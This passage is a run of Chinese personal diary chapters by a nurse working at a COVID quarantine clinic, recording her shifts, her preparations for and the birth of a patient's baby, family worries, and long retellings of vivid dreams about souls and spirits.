    然后很晚了，大家都饿得不行了，就接到电话，说隔离点有一个护士肚子痛要来看。然后就准备晚班的事，我同事去吃饭了准备适宜了，后面她又不来了，猜她可能痛经。女孩子嘛，总有那么几天，也就这个不用打针了。后面又突然来了四个。然后护士长安排再，一个同事进去了。因为我们没有经验，护士长也怕，我们妇幼的搞不定，后面发现人家是绿码，然后他们去了哪个区，所以要来这里看，后面有一个九个月的宝宝，要采血，所以好难扎针，后面搞了超久，护士长说还好有我们妇幼的在，扎到了，抽到了血。后面就好晚回去，晚，。上十一点到的宾馆。然后洗头发洗澡，发现卫生间没有浴霸灯泡，本来说我们的衣服在卫生间洗好来挂上去。然后开灯泡弄干，结果没有，然后那个热风也没有。就有一个吹风机，我看一下情况，如果一天干不了，可能会考虑用吹风机至少吹半干，不然没办法。
    这里的领导临时给我们买了桶脸盆洗漱用品，毛巾之类的。反正这搞得很晚的事。就搞得很晚。他们还是比较有心，本来我们以为其他的领导会做好这个事，估计是全员核酸，大家都抽不出人来，没办法。！
    机动班也要去那边，住的太远了，万一忙不过来，又要司机接，所以也要在那边的床躺一躺。穿脱防护服又要好长时间。
    真的是阿弥陀佛，希望病人平平安安的，希望他们不生病，千万不要来。希望黄码的不生病，好好隔离，隔离完了赶紧回家，会搞死。
    本来我们县有一个方仓医院的，不知道有没有做好。我们这个地方有点子简陋，因为这是人家卫生院的住院部，感觉有好几个地方都没有洗手池，一脱区二拖区，所以搞得东西怎么放，污染区，清洁区，所以搞得很难。本来长岗卫生院主办，中医院负责，妇保院负责院感。人民医院来了两个护士和一个放射科的女孩子辅助。然后说院感的事就是我们医院负责。然后我比较听话性没有什么安排的能力，也没有主见，所以感觉对我们医院有很大的意见，但是后面他们也问了自己的领导，给我一个基层人的感觉就是散的。意思就是万一没做好就是我们的责任，然后我们又懵懵懂懂。我们也不知道会怎么样，反正用心吧！虽然我感觉我没有心。
    有一个同事的情绪很不好，因为她爷爷今天下葬，昨天接到电话，然后吃了两口饭，说进去就进去了。后面还好她出来了。可以休息。
    今天就是中秋节，昨天给家里人包微信红包，他们都没有接，不管是我妈妈，还是爷爷。我老公也是，就那个红包的事没办法。他又不听我的。后面他们都不接了，算了吧！也就这样子了，家的话，我确实哪一个家我都不喜欢。好像对我娘家很抱怨，对婆家也抱怨，说他们做的不好，他们其实又很好，是我不好吧！这些人也就是我视线里的角色。可是没办法，如何去治疗一下我的心病，我都不知道我怎么病的，也不知道病因，也不知道问题出在哪里？

 第200章

    昨晚的梦境。昨天中秋节，我家人给宝宝过了生日。她生日今天的。本来很想说那个水冰月的蛋糕很可爱，老公选的很好，后面问了我老公，老公说是妈妈选的，让我好难受啊！为什么我老公没有给宝宝选蛋糕？然后在朋友圈看了很多很多关于生活的科幻片，甚至是玄幻片。大晚上的我就彻底不开心了，为什么别人的人生那么美好？我的没有。后面好气。就看了一本小说睡觉了。小说我有点吐槽，不知道是不是作者写不回去了，写的是一个狐狸精勾引一位僧人的事，我还以为写着写着会变成僧人还俗之类的，结果，中间那一段，看不下去了，结局还没有写出来，有点糟心。
    梦境里是我们的黄码医院，然后黄码医院旁边种了很多的豆角茄子之类的青菜，然后突然说疫情来了，然后我们的青菜茄子豆角都被拔掉了。但是突然来了一颗万年青，长的一颗好大的树。它还有很多灰色的枝条，然后它结了果子，梦里我吃了它的果子，那棵树就在那里笑。然后它很像精神力的触角一样，后面就不记得了，也不知道怎么形容，就是另一个世界的自己像红色一样的我醒来了。他来了的时候我又醒了看着他，但是又知道他是自己的感觉，不知道这是什么意思。

 第201章

    零点，真想睡觉不想写。
    今天开会，来了东西然后黄色垃圾桶到了，还有一次性床单枕套之类的，治疗车，但是冰箱还没有到，有的药品需要冰箱，还有采核酸需要冰块，应该快了。
    开会的内容就是加强学习，加强我的消杀工作，然后准备好可能会有重病人来。今天本来会有一个肿瘤濒死的病人来的，后面家属不同意，就没有送的来，要是那个病人来了，我们就不得安生。要上心电，之类的，然后吸痰器又是下午很晚到的。我们以为我们就只接黄码肚子痛发烧乏力的病人，或者腹泻的，但是看情况可能需要加强学习。可能会变成综合。
    昨天有一个先兆流产的，然后没有送的来，因为这里没有妇科的手术床。还有很多药品都没有齐全还有手术器械。听人民医院的护士是说有一个很重的病人送的去人民医院了，单间隔离，如果有剖宫产，就会紧急从县城派医生过来。但愿没有这种情况。但是要做好准备。我们的水平又是参差不齐。需要加强学习。
    然后各医院这两天又抽了几十个人去支援隔壁市了。换人基本上不可能会换人。我感觉耶，做核酸又一批人过去了，然后又支援各个地方。抽了好多人。
    就像现在的情况就是我们很需要那种超级大脑可以把所有的事想的很细致很强大的人才安排好一切，然后我们专门的人全部服从他的指挥的感觉。但是很多事真的是想都没有办法想就出现了。
    但愿我们都是平平安安的吧！只能祈祷。别的东西好好学习。
    我还有的事就是我需要做单位刷题的，强国我今天居然才做了三十九分，刚刚怕吵到别人，不小心关了。要去学习消杀的内容，应该第几版有吧，多去看，其实看了几次，但是我需要记下来。等自己做和别人问的时候能够回答出来。
    总之加油。用心。

 第202章

    梦境，不知道梦到了什么？梦里面是一家医院。然后在上班，然后梦里面有一个男的病人，他的腿断了，然后我在工作的时候，他突然拿刀刺向我，他说我的精神力导致他的身体更痛了。然后梦里面我对他说对不起，不好意思我比较嫉妒你美好的生活，所以不小心没控制住然后他就退下去了。后面的场景就是一条河，我好像是从那条河里冒出来，也不晓得是啥意思。然后有一个黑色的人，他看了我很久就走了他像一团黑色的墨水，然后我就不知道怎么了。反正也没有什么感觉，那里的场景也不算恐怖什么的，景色比较好看。很明亮的感觉。后来我就醒了，但是感觉醒来的自己很累。很累，不算很轻松的感觉。按理来说也不是很差的梦，搞不懂。
    然后不知道为什么想到了以前的老师，然后又想到了妈妈，想到了一个黑色的东西，它好像在灵魂的背后动的感觉，可是平时人又很难看到它，就是它在动的时候很容易出现一些奇怪的事情，可是又不知道它是什么？

 第203章

    梦境，梦到了我和老公的家。但是我感觉老公不是我老公，我也不是我。梦里面有一个杯子很好看，人家叫我卖了它，那个杯子很贵，梦里的我没有舍得。后面梦里的老公再也受不了我了，我叫他拿什么东西他很生气的把一堆的东西弄乱。梦里的我很难受。然后我梦见哥哥过来了，我很想说什么。梦里的我感觉自己是一个傻逼，还在维持形象。然后哥哥说了什么，感觉自己清醒了。但是那个很漂亮而又好看的玻璃杯，我想卖掉它，它的图案很好看。梦里我把它放到了一个凳子上。但是那个收玻璃杯的人没有来。然后场景换了。梦里有一对夫妻，在用一个加热包，意思就是他们的早餐可以用一个包加热，然后就能吃热乎乎的饭菜，梦里还有一个男的可能是推销员，不停的推销。自己的东西。然后就醒了，不知道那个漂亮的杯子有没有拿回去。梦醒的我感觉还是拿回去更好吧！不知道什么感觉。

 第204章

    梦境。昨晚的梦。不知道自己是不是吃多了。然后感觉自己根本没睡就看到了鬼母。然后她笑眯眯的在我身上贴了一个符。然后我就有点意外，她自己都是鬼为什么还给我贴符。不过我也没有怎么理她，让她吧！有的时候。我又确实需要这种东西。然后她就变成了很奇怪的模样，搞得我没法睡。我就索性看会儿小说好了。然后就看小说，看了一会儿再睡。然后梦里面是没有太长的场景。梦里面有一个很大的人，他感觉很老了。他对我说他想要捏脸，我说你捏呗。他全身都是幽蓝色的，然后他没动，然后下一个场景看到了一个人，他的颜色也好奇怪都是灰蒙蒙的，然后他守着一个天空，没有怎么动。然后下一个场景就是一个古代的官员。他做了一个法术，然后给一个房间里的东西送肉，然后房间里好多鬼，就把那个古代官员的印子吃掉了，肉也吃掉了，它们就像灰色的雾气一样，但是像鬼又会吃人。后面官员穿着红衣服就进了那个房间，后面就不知道了，根本看不懂。下一个场景，那个场景是一个医生，医生身上好多鬼魂。然后下一个场景那个奇怪的医生好像是一个行尸走肉一样，他后面有人，在控制他，他没有办法不听话，就像傀儡一样，然后黑色的能量腐蚀他的身体和灵魂。梦里面好多奇怪的鬼的灵魂。像一只只蠕动的虫子。有点子奇怪。
    这个梦有点子复杂。好奇怪。我看的小说不是恐怖的

 第205章

    梦境。梦到了一个初中同学。他读完初中就去卖电脑的一个人，不记得他叫什么名字了。
    我的手机真的是不好用啊，边上没办法按得到，可能最近用酒精消毒了。使用起来真是艰难。还是我新买的手机。5G。移动公司那里领的。算了难受想哭。
    梦境里是一座绿色的山，景色很好，郁郁葱葱，好多美好得能量一样的梦，然后梦到了一个男孩子，和一个女孩子，他们可能是青梅竹马住在同一栋房子，然后也一起上学的那种。然后梦里的场景，可能是过了一个时间段的那种，男孩子变成了十来岁的少年，梦里他留了披肩的长发，然后穿着蓝色的上衣，他的房子看起来很有钱，有格调，反正山还是那座山，但是他的家变成了别墅。然后女孩子从那条路过，他叫了我现实中的名字，但是我确定我不认识他。我同学的话，我的同学关系处的很烂，他不太可能会这样子叫我的名字，也就梦境里我会感觉很正常，要是现实中的话，鸡皮疙瘩都得起来了。说明那个男孩子和女孩子比较亲近吧！然后他载了一个小孩子走，梦里我在着急吃东西，因为我也要去上学了。然后我梦到了雪晴老师，o梦里面她家人和我说她父亲没有了，她好可怜，巴拉巴拉的，梦里的我说自己快迟到了，要去上班，梦里的雪晴
    她坐在一个阴暗的房间一个桌子上喝茶。她的灵魂是绿色得很漂亮的那种。然后我出去了，梦里面雪晴她的灵魂在空中飞舞追过来不知道干嘛。然后我说我早去上班，全身消毒进医院。
    不知道这个梦的意思是什么？一对青梅竹马，那肯定是爱情类的吧！为什么会梦见雪晴，雪晴的条件不会很惨，她的条件还不错，和梦里面有出入，然后和我的条件虽然很像，但是我已经结婚了，而且我并没有青梅竹马。我的周围住的都是亲戚家小孩子。不存在青梅竹马。而且他们从来不这样子叫我的名字，只有爷爷奶奶才会这样子叫人家名字。我妈妈怎么叫我的名字我都忘了。
    难道是雪晴的姻缘，可是他长的和雪晴的男朋友一点也不像。算了，不理解，一切随缘吧！

 第206章

    梦境，梦到领导希望我去教幼儿园。然后医院里面红色的灵魂在讲这个事。我根本不适合当老师好吧！然后黑红色的灵魂在问我，是不是我妈妈经常骂我。我不知道我妈妈是不是经常骂我，而是有的时候和她靠近就会有黑色的人影在她身上出来，然后不停的对我讲我是个鬼，好凶巴巴的。后面长大了和她去县城，别的娃想要吃火腿肠，然后他妈妈揍的他满地找牙，不过他比我小好多就是，然后那种很难受的情绪会传到我这里，然后那个时候妈妈就问我要不要吃火腿肠，然后我说不用，其实我都说了不用。然后不知道是不是她身上的人影还是她本人在那里讲，说我是什么鬼，就要乱花她的钱，吧啦吧啦讲了很久。她说话很让人伤心。后来我也学会了她那样子讲话。
    梦见了很多兰花，然后一个人送了我一颗。

 第207章

    梦，这个梦有点恐惧感。梦里面一个护士死掉了。
    我的梦里是梦到了一个熊孩子，然后很巨大的灵魂，然后它在找我，然后我每次都藏起来，然后它每次都找的到我，那个剧情不知道是什么？反正一个很大的灵魂，剧情我看不懂，好像我在带娃，也不清楚，一个空间好黑暗，然后一个熊孩子一样的灵魂，它在找什么，然后它说它想吃人，然后它每次都精准的找到了我，我藏哪个地方，它都找的到，然后它每次都在讲一个事，那个事我听不懂。梦里面第二个场景，是同事他们在找人他们派了人去一个位置找护士，然后梦里面我说你怎么去这个地方找呢？我不可能在这个地方啊！反正梦里医生选了一个树林。然后手机屏幕突然出现一行字说安培死掉了，说她是非洲酋长运气很差。还有一行字，我发出不来，因为写的希翼，还有什么吞天看不懂。可是梦里面死掉的是我耶。然后第三个场景，梦里面梦见了一团血，然后同事在说一个护士死掉了，我们需要上报。请领导来调查。然后我就梦醒了。
    还有一个场景，就是也很黑暗的梦，梦里的场景是我是一个人的妻子。很压抑的感觉，但是梦里面的内容我不晓得，就是看到一个很大的头它在笑。黑色的它一笑就给我一种很恐惧的感觉。还有一些场景。不晓得怎么写。因为记得不全。
    做梦之前发生了什么？昨晚医生就问了一个问题，认不认识罗院。以前的院长，他是一个什么样的人，因为我很少去接触领导层，就知道他会打篮球，副院长还有医生，他们都会打篮球，他会组织医生去打篮球，好多年的时候，至于他当院长的话，工作如何也不是我一个临时工来看的。就说了这一句话。后面的时候不知道是不是够起了我的回忆，然后就想了好多东西，他那个时候没有组织医生护士去玩，可能构建一个团体的精神文明的能力，就是没有组织人家去玩然后工作之余每天都有同事骂他无非就是说他的家事，我也不知道同事讲这个是什么意思。反正大家心情很烦的时候就会骂他，但是我不太理解，后来他就离婚了，不过我也只是听说不太懂，后面就看见了他一次，发现他的灵魂是灰色的，然后有一个灰色的脑子，在他背后在笑，但是以前他的灵魂是很明亮的颜色，不过那么久没见，我也不晓得什么情况，也许人家碰到了什么悲伤的事，之类的对不对？后来就一堆的回忆进来了，那个时候的我状态其实不是很好，身体比较亏损实习的时候没钱然后死脑筋一个就没有花多少钱吃饭，几乎都是用的国家补助的钱三千块钱过了十个月的实习期。然后在医院的话整个精神能量其实不算很快乐，因为每天都处在负能量里。不过每个人都有可能被骂，因为五个人六个群是这样子。你以为大家没骂你，只是因为你没听见人家在你面前讲别人的闲话，肯定也会在背后讲你的。很正常。认真你就输了。以前医生对我讲的就是这个。但是我没有听懂。就不停的负能量，特别的痛苦，到了今天我就突然明白了，这句话的意思。就是别人讲什么不要太认真。工作中难免人家会聚在一起讲别人的闲话。因为各种各样的原因。就像初中那篇课文讲的，一个很帅的人，妻子是因为爱他所以说他好看，妾是因为怕他所以说他好看，客人是因为有求于他所以说他好看。反过来也是一样的。
    不知道这几天会不会有病人来了。昨天中午梦见了有病人来。然后搞得我很紧张就醒了，然后下午没有来。我上班没来病人，不过不可能会有那么多幸运儿。这几天都是连着上班。只能说有病人好好做事。要多消毒。
    然后昨天看到了一个精神力，问我身上的护身符，可能就是要来事的事。所以做好准备。

 第208章

    前天晚上接到通知有一个分娩先兆的，然后我们就很忙了，然后准备东西，临时从前面搬了一个产床，准备新生儿急救药品，小儿心肺复苏的东西，产包从县城医院调了妇产科医生和助产士，然后检查人员，医生和助产士就不用走了，被迫和我们一起。然后反正大家一起努力，然后晚上十一点四十左右开始回，洗澡洗头发，折腾一下，零点四十才睡。梦境里有点子累，不记得了。
    然后第二天上班，做消毒得地方就更多了，多了产房和手术室，一个上午。一下午，全湿了两套衣服。上午消毒得喷雾器没有插头，然后我突发齐想，想弄一个类似的，然后那个喷雾器就烧掉了。只能买新的，然后消毒得工作做的很煎熬。搞得我下午一点才做完。下午是三点开始穿衣服。本来定的两点二十五醒的，可能闹钟才定了一个，所以就没有及时醒过来。下次要记得两点半上班。
    产妇的情况还好，希望她过了七天隔离期，就出院，到外面生宝宝，因为在我们里面，有点子艰难，我们穿手套至少需要三双，然后防护服好累，还要加隔离衣。实在没有办法的情况下才选择我们医院。他们两个核酸阴性。打算会我们这里隔离七天然后再去县城医院生，没有想到就发动了，后面这两天就没有反应了。一切情况还好。希望她顺产，希望外面生。剖宫产的话，我们就还需要调人，没有手术护士，没有剖宫产器械包，不过前面那栋有，紧急情况应该可以用。反正以人为本。希望产妇情况好，待够七天就可以去外面生。

 第209章

    梦境。梦到回了娘家，娘家那里的天空被一些黑成墨的人给入侵了。我也是黑成墨的一员。我很黑像鬼一样。
    然后我进了一个山洞，看到了一份文件，我不知道是不是梦里的我塞进去的，资产三十六万元。好像那是一个官员的家，梦里有什么东西闪动。好像有人在问我：你认为他们需要这个吗？然后门关了。后面进入了一个房间，然后在消毒，梦里我好像是消毒得人，好多黑色的毒人。在消毒中消失了。然后从一个房间出来，看到了演乾隆皇帝的一个演员，他问我是哪里的后人，我没有回话，他说原来是方家的后人，然后他就面对后面的人，说没有发现什么情况，然后梦见了一个男的白色的衣服的人，他问我，你是不是看见了你姑父？我说是。然后他让我从山上走了。
    梦里梦见了一个很大的天空，梦境里有一个红色的男孩子拿了一块县主令。那个令牌往地上一放就变成了一栋好高大的楼。然后我在那栋高楼旁边看到了我的娘家很小的房子。但是还好，我看得见，我像一座山的灵魂，能够看见就很好了。安然的闭上了眼睛。
    我这几天突然想到了在一次小时候洗衣服的时候，有一个邻居和我说过的话，那个时候的我很乖巧，很听话，她和我说了一个故事，那个故事就是她家里有一个哥哥，会在猪身上养一些黑心的虫子，等那头猪死了以后，就拿那些虫子喂给官员吃，那些官员很喜欢吃这种虫子。我不知道她讲这个故事的意义是什么？也不知道为什么突然会想起那件事。
    说回梦境吧！梦里面有一座大山，梦里的我进不去，梦里我找一种名叫蓝莲花的妖精，我需要她帮我带莲心给我。梦里我梦见了那个妖精，她给了我一些莲心。然后就进去了下一个场景，梦里还是娘家，那是一对父子，他们的灵魂也不像正常的灵魂，不知道在讲什么听不懂，梦里出现了一个女人，也不知道她在笑什么，她的灵魂有点子难看，以前我娘家那边的灵魂不会很难看的，不知道为什么他们好难看。完全没有人的形态的样子就像一些会移动的好大的球一样。然后下一个场景，梦见了一栋很简陋的房子，一个女人还有几个孩子他们靠在墙上，又用被子遮住了自己，我感觉他们应该在睡觉，难不成是房子有问题。然后梦里面孩子说他们的梦想都是假的，那些幸福都是假的。她给我露出了她残缺不起的腿。后面的我就不记得其他的场景了。
    梦见了一座山，山里面有很多奇怪的人，有背上长了一对翅膀的小孩子。还有骑着骆驼的人，然后梦见了一条河，我好像倒挂在河上面。后面又不记得了。
    后面梦见了很白的一团，像我姑父的灵魂。我们娘家的路很黑，他看了看，不记得他在讲什么，像一团白色的光一样。后面我醒了。
    不知道这个梦是什么意思。姑父又不是县长，按理来说，我也不应该梦见县主令。而且他退居二线都好几年了，如果是方家的后人要当他这个位置，不应该找一线的吗？
    官员难当。
    我小时候就感觉自己没什么事就想着我姑父会不会贪污。我也不知道我为什么会这样子想？我只要没什么事我就这样子想。因为我看了好多好多关于官员贪污腐败的书，那个书是一些小说，而我身边又有领导级别的，所以我会代入进去。那本书里的内容都是小说家写的，故事。所以从小没有当管理者的想法，因为累死不说，还有很多被骂的可能。
    后面我感觉我的思想有毒，就很少去我亲戚家，怕自己的霉运影响到了人家，他们的人品给我的感觉还好。作为一个家人来说，对待我们很穷苦的一家人来说，很好。并没有其他的想法。我也以他们为自己的人生榜样，希望自己能够和他们一样白手起家，靠自己的努力创造自己的人生。
    后面他们盖房子了，就变了。那种精神力又出来了。后面我和老公结婚去了他们家，我不晓得是不是他们家房子方位有问题还是什么？他的房子表面上装修的还好，内里还没有装修好，然后看到了很多黑色的精神力，那些黑色的精神在讲话，没听懂她们在讲什么？我感觉他的新房子有问题。方位有问题。可能吧！房子的风水会影响一家人的运气。其实我不太懂。但是我又比较希望他们会好一点。毕竟这是榜样。
    我是否会嫌弃我妈妈爸爸呢？因为他们看起来没有什么能力。我也不知道。最近这几天我在回忆我的小时候，奶奶说我的爸爸妈妈没有能力，她很嫌弃，后面我的想法也被影响了，变得很嫌弃我的爸爸妈妈。这几天我没有回家了，我在想我的宝宝会不会也很讨厌我，会不会嫌弃我没有能力呢？突然之间就想到了这个事。
    妈妈有一段时间买了辣条买了好多给我吃，然后后面爷爷奶奶说辣条不卫生，说她怎么买这些东西回家，后面我不记得了，我只知道我在学校会买辣条吃，我家里人都很嫌弃我，姑姑也很嫌弃。但是我就是喜欢。后面有一个姑姑送我去学电脑，她也买了好多辣条给我吃，叫我不要告诉爷爷奶奶。因为她也喜欢吃。
    前几天也梦见她了，她的婚姻生活不是很美好。在我眼里吧！因为梦里我给她扯乱了红线，所以导致她的人生很糟心。其实我知道这是我扯的，她也知道是我扯的。我也不知道为什么要给她做这个。搞不懂。按理来说别人和和美美的生活对我也是有帮助的，可是搞不懂。
    我梦见她刚结婚不久的场景。梦里的她很黑，真实和梦境想交。梦里的她告诉我，她手上的痣现实里的她告诉我她的痣是个好痣。然后，我就感觉很奇怪，然后也没有去讲什么。她那个时候很瘦。感觉有点子冷酷。我没有什么想法，我感觉不到什么。后来奶奶说她的婚姻生活不是很好。她变得很瘦。以前肉肉的很好看。
    不知道为什么会想到这个事，可能是因为昨天领导问我能不能瘦个二十斤下来，会更好看一点？突然之间就想到了这个事。我以前很在意人家说我胖，后来我也瘦了，我是心情不好，瘦的，瘦的原因是因为我在算一些东西，算出来的结果都不好，怎么算都不好。然后就emo了。就自然吃不下饭。就瘦了。后来经历了这一段时间过后，我就不在乎我是胖的还是瘦的了。顺其自然吧！
    不过我还是会嫌弃我胖，但是我也就是抱怨一下子，又不会去改变。
    后来姑姑给我做介绍，我就认了。因为对于她的婚姻我是比较愧疚的。虽然每天都在自己心里说这不是我的事，但是我对她确实有愧疚感。不过我没有办法弥补。
    有很多时候我感觉我像她，有一些黑色的精神力。我也不知道为什么？可是我也不像她。因为每个人都是单独的个体，世界上没有两片完全一样的叶子。

 第210章

梦境。很多片段，记不到了。
    梦里面有一个房间，房间里是一潭死水。死水里面好多的锦鲤。然后那些锦鲤身体腐烂了，但是他们还能游上来，我也被关进了那个房间，然后有两条鱼咬了我。
    然后下一个场景，场景里面是一个发很漂亮光芒的男士，男孩子吧！不认识，不知道他在讲什么。然后下一个梦，梦里面是在一个山上，梦里有一个女士给我一百多块钱请我做饭吃，还是买饭给她吃，然后梦里面还出现了她的前夫。这个不理解。梦里我问了什么，她也直接回答了。后面的场景忘了，然后就是脑子里出现了一个黑色的人的灵魂的笑声。

 第211章

    梦境，梦到了很多盒饭，然后问我要不要吃，梦里的我说不要，吃了会领盒饭。
    然后下一个梦，梦见了姑姑，姑姑带我去一家店里，说给我买皮鞋，后面又变成给我老公买皮鞋，说心月兰的牌子年年都在上涨，买了这双鞋子很好，然后一问价格625。我有点子心动，因为他风吹日晒的，万一下雨鞋子会湿。买到来就很好。然后我说我也想买。然后两个人两套就一千多块钱，我就说好贵，他们会说我乱花钱，所以就没有买，后面看我的皮鞋，要么嫌弃颜色不好看，要么说有跟穿了脚痛，后面看到了一双还行的，就说自己腿弯的，穿这个暴露自己的缺点。然后就下一个梦，梦里姑姑说她来了月经，问我要卫生巾，借她一片，我翻了一下包，我说没有带，后面在妹妹的包里找了一片，我问妹妹你也来了吗？她说是，然后我说要不你的给姑姑，我再给你买过，梦里的妹妹就指了指旁边，然后发现店家那里有，店家告诉姑姑，她店里有免费的试用装，可以用。
    然后就下一个梦，梦见了一个女孩子，她一直在我的梦里说都是我闺蜜。我错信了人。然后我听不太懂。我自我认为她应该比较抑郁，碰到了悲伤伤心的事，可惜我又不知道我要干嘛，梦里的我就拿着针在她身上随便戳。万一扎到了那根筋把她身上的邪气弄出来了呢？是不是。然后梦里就和她讲，能够被勾搭走的人，都不是良人。握不住的沙就扔了呗。不过啥情况我也不知道。也许妹子是被别人挑唆弄走的呢？啥情况都有。好像想起了一个故事。那个故事就是一对恋人，他们学习好，感情也好，后来女孩子有一个闺蜜，然后闺蜜用小号加了她男朋友，然后说了很多坏话，关于女孩子的，后面男孩子就不信任女孩子了，后面，男孩子学习就很好，然后也和女孩子分手了，而女孩子就学习一落千丈，后面她闺蜜没有想到会这样子，就和她男友讲了，然后他不相信。然后两个人分道扬镳。女孩子很伤心。但是这个故事是我同学讲的一个故事。搞不懂为什么会想起这个来。
    我的月经还没有来，不会怀孕了吧！我都吃了好多药。血塞通，牛黄上清，莲花清瘟。氨咖黄敏，甲钴胺，银杏叶片。有几个药都是活血通络的，按理来说如果怀孕了胎儿没办法活下来。然后我排卵期还出了几天血。那几天根本没有同床共枕。没有卵子哪里来的受精卵。可是也怕意外怀孕。

 第212章

    梦境，今天的梦，梦见了蓝色的灵魂给了一个红色的女孩子的灵魂一个黑色的小东西，好像叫她记录什么，然后下一个梦境就是一个大概几米高黑色的大球然后它又有黑色的身体，像一个机器人一样的东西就在砸那个小东西，然后砸出了蓝色的火焰，然后我就醒了。
    今天在看异界生物见闻录，这本小说好好看，好好笑。零点多了都让人舍不得睡。
    牙痛，然后今天本来突然有发热的症状，然后突然又出了汗。然后就好多了。我还以为我会发烧。吓死我了，估计是昨天吃的姜多了一点吧！然后前两天没认出来青菜叶子是萝卜菜，我吃这玩意会过敏。吃了以后身体会出现一些灰蓝色的东西，然后过几天就感冒流鼻涕发热，如果吃一段时间就需要打点滴的那种。反正免疫力下降。不知道什么原因，可能是气血不足。萝卜是行气的东西吧！猜的没有根据。

 第213章

熬夜好晚，天哪控制不住，小说好看。我本来以为我很有自制力的，没想到看到了凌晨两点半，终于逼着自己睡着了。然后后面又醒了，听到了医生护士的声音，可能三点半左右吧！然后今天起来看消息，知道三点多生了宝宝。原来那个产妇。下次我还是早点睡觉吧！这也太巧了。难得休息一天。
    本来前天我都还在想是不是要把助产士和医生送回去。病人可能不在这里生。没想到昨天就生了。生了就还有很多后续事情要做。不过也不晓得上级领导怎么安排，她们会不会和我们一起，还是她们隔离个一段时间就回医院上班。

 第214章

    梦境。今天机动，明天上班。
    白天突然感觉有一些灰色的灵魂在脑子里叫我的名字，但是我又睡不着。刚刚才眯了一会儿，就梦到了一点点场景。梦里面我在骑摩托车，把一个男士载的去人民医院，刚载到路上，本来还想骑更久一点，结果就醒了。梦里我问他你看不看的到，因为我感觉想我老公，反正梦里面就是代入我家里人，我梦见他受伤了，需要我载他去医院，然后送到一半，梦里面下了雨，然后我问他你看不看的到，后来发现是我在骑车，后面我就有点慌了，因为我很少载人。然后就醒了。我们在过桥。
    又眯了一会儿，我感觉几分钟都不到，梦里面是一个蓝色的大家伙，他说话的声音像喉咙里含了水的感觉。只听到了他说储物多，然后梦到了一个粮仓，所有人的粮食都放在那个粮仓里，然后一个黑色的小孩子拿了一个袋子装了粮食。然后那个黑色的孩子就看着我，我也看着他。然后脑子里就是那个蓝色的灵魂一直在我的脑子里讲储物多。其他的我听不到了。不知道是什么？
    梦境。梦里面是自己上班的内容，在消毒。然后梦见了一团蓝色的能量，她好像是一个女士的能量，然后在消失的感觉，她的脸上挂着很诡异的笑容。
    然后梦里就在一个劲的消毒消毒。梦里还进去了一个什么飞船，我感觉这个是联想，可是在消毒得我们并不知道这个事，对于我们来说外界都是一模一样的。我感觉我被谁丢的去消毒间，然后不知道怎么又送回房间来了，然后又丢的去消毒的地方，又送回来了，好像走了很多回一样。
    还有一个很诡异的场景，梦里是洁白的东西然后我每次去都有很多像玻璃一样的东西。然后收集起来。剩下的不记得了。梦里好像做了什么东西。反正很奇怪。
    也好像在抱怨，说我上班啥事没有，她们上班有病人。好多蓝色的能量在流动。
    昨天的想起来了，一个事，梦里是一个和尚在念经，然后他可能念的有点狠，然后一股黑色的能量她就挣脱了结界。的感觉。但是这个场景很久了。以前看过。对我来说可能是回忆。别的世界的灵魂进入了另一个世界，然后就变得有毒，然后和尚就去净化她。

 第215章

    梦境。梦里面是在上学，然后我穿了一件不伦不类的衣服，我感觉这不是我风格的衣服。也不是我的，然后一个很简陋的房间，不过我感觉还好，然后我在弄标本。然后就变成了要去上学，上早课。好像女子学校，但是里面也有男的在上早课。然后我好像很想挣钱，就用了什么方式进了一个地方给他们上课，好像是一些军人的孩子。但是我也不知道是不是？有可能假的。然后下一个梦，梦见了一个黑色的男士，我梦见我穿了另一个人的衣服，路易的。然后她在弄手机还是标本。不知道，然后我过去了，发现那个男孩子其实已经叫了路易帮忙，后面我来了，路易走了，然后我就在工作，后面就又转回那个场景，场景里就是第一个场景，老师叫我们要好好读书，坚持上学。然后就是下一个场景，场景里是一个男的，他好像挂在摩托车上，然后他横着下来了，我感觉我听到了什么，但是我又没有看到，然后好像另一个空间的我在弄什么灯，不过那个位置是马路，我没过去，但是另一个人过去了，发生了很大的动静，然后站在那里的我就回神了，还说还好我没有去那边弄灯。然后下一个场景，就是一群人，说怎么可以在车道停车而且还打电话，叫了他还不走。然后下一个场景，就画了很多线。规定哪里是停车的。然后下一个场景。就是我在送标本，然后梦到了很多灰色的灵魂，她在和我说妇保院很轻松吧！而且假又好多。梦里的我说哪里？你是人民医院的吗？你讲的是和你一样的那一批人吗？
    我感觉这些话好神经啊！现在疫情都累的死，大家都快抽空了，有休产假的都才两个月左右就掉回来上班了，受伤了也在上班，还有好多地方都在抽人做事。还在说我们好清闲。有毛病啊！而且我为什么会觉得她是人民医院的灵魂呢？可能是梦见了路易的原因吧！我第一次梦见她吧！好奇怪一个梦。好久没有想起她了，为什么突然想起来呢？搞不懂。
    不知道什么时候结束。尽人事听天命。
    梦里面的场景好像是太平洋中心购物广场，附近的环形通道的旁边，公交站。附近。我好像是行走的一个黑色的灵魂，不晓得经历了什么，感觉浑浑噩噩的。没什么精神一样。
    但是时间段不一样，不知道哪一天，光有一个地点有啥用？而且梦里面的事我也搞不懂。

 第216章

    梦境。梦境里是一个牢房，那个地方关着好多奇奇怪怪的灵魂，它们的脑子都好奇怪，梦里有黑色的人说把他们放出来，然后梦里的我在消毒。梦里另一个人说你把他们放出来了，我说没啊，我在消毒。然后就是梦见一个男孩子，他的灵魂好像有问题，问题在哪我也说不清楚，就像他的灵魂是一半白色一半黑色连在了一起，他的灵魂感觉在笑，但是他的灵魂又有很多黑色的线在流动的感觉，就感觉很痛苦很难受的感觉，可是他在笑。就是很痛苦很难受，内心很糟糕的感觉。然后我们同路。要去一个地方，因为我生来比较倒霉。他说他分一半的好运气给我。梦里他叫李勇，不过我对这个人没有印象。从来没有碰到过。然后我们去一个地方。梦到了一辆车，然后我们想坐车去那个地方，他说那里有奇怪的像鬼一样的东西。然后我要走的时候，不小心睡着了，在梦里睡着了。车就在我的旁边停着，而我在那个梦里睡着了。梦里的那个他就在笑。
    然后就是下一个梦，梦到了很多黑雾一样的灵魂。不知道在讲什么。我感觉我好像梦到了我老公，我老公在梦里面说他很喜欢我。他可能在和一些人讲一些话，但是那一段我没有听到。反正梦到这个就感觉好开心啊！然后就开心的醒了。

 第217章

